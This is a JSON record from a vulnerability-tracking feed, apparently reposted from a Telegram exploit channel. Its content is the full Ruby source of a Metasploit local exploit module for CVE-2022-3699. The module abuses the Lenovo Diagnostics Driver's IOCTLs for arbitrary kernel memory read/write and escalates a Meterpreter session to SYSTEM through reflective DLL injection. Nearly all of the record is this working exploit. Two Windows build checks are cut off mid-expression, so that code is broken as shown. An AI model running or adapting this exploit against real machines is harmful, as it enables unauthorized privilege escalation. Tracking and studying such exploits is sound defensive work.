{"uuid": "2386fc27-37a4-4b20-9284-1690ca9aad60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/88662", "content": "Exploit Collector\nLenovo Diagnostics Driver Memory Access\n\nhttps://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.\n\nSHA-256 | 4d81e8f2ae72805082f511a1afa0427bff321c86d10fa56019672dac926e51f8Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = GoodRanking\n\ninclude Msf::Exploit::Local::WindowsKernel\ninclude Msf::Post::File\ninclude Msf::Post::Windows::Priv\ninclude Msf::Post::Windows::Process\ninclude Msf::Post::Windows::ReflectiveDLLInjection\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',\n'Description' => %q{\nIncorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to\nissue device IOCTLs to perform arbitrary physical/virtual memory read/write.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'alfarom256',    # Original PoC\n'jheysel-r7'     # msf module\n],\n'Arch' => [ ARCH_X64 ],\n'Platform' => 'win',\n'SessionTypes' => [ 'meterpreter' ],\n'DefaultOptions' => {\n'EXITFUNC' => 'thread'\n},\n'Targets' => [\n[ 'Windows x64', { 'Arch' => ARCH_X64 } ]\n],\n'References' => [\n[ 'CVE', '2022-3699' ],\n[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]\n],\n'DisclosureDate' => '2022-11-09',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => []\n},\n'Compat' => {\n'Meterpreter' => {\n'Commands' => %w[\nstdapi_railgun_api\n]\n}\n}\n}\n)\n)\nend\n\ndef check\nunless session.platform == 'windows'\n# Non-Windows systems are definitely not affected.\nreturn Exploit::CheckCode::Safe\nend\n\nhandle = open_device('\\\\\\\\.\\\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')\nif handle.nil?\nreturn Exploit::CheckCode::Safe\nend\n\nsession.railgun.kernel32.CloseHandle(handle)\nCheckCode::Appears\nend\n\ndef target_compatible?\nbuild_num = sysinfo['OS'].match(/Build (\\d+)/)[1].to_i\nvprint_status(\"Windows Build Number = #{build_num}\")\n\nreturn true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <=\nreturn true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000\nreturn true if sysinfo['OS'] =~ /Windows 2016\\+/ && build_num >= 17763 && build_num <=\n\nfalse\nend\n\ndef exploit\nif is_system?\nfail_with(Failure::None, 'Session is already elevated')\nend\n\n# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL\nunless target_compatible?\nfail_with(Failure::NoTarget, 'The exploit does not support this target')\nend\n\nif sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\nfail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\nelsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\nfail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\nelsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\nfail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\nend\n\nencoded_payload = payload.encoded\nexecute_dll(\n::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),\n[encoded_payload.length].pack('I<')\n)\n\nprint_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\nend\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:14.640274Z"}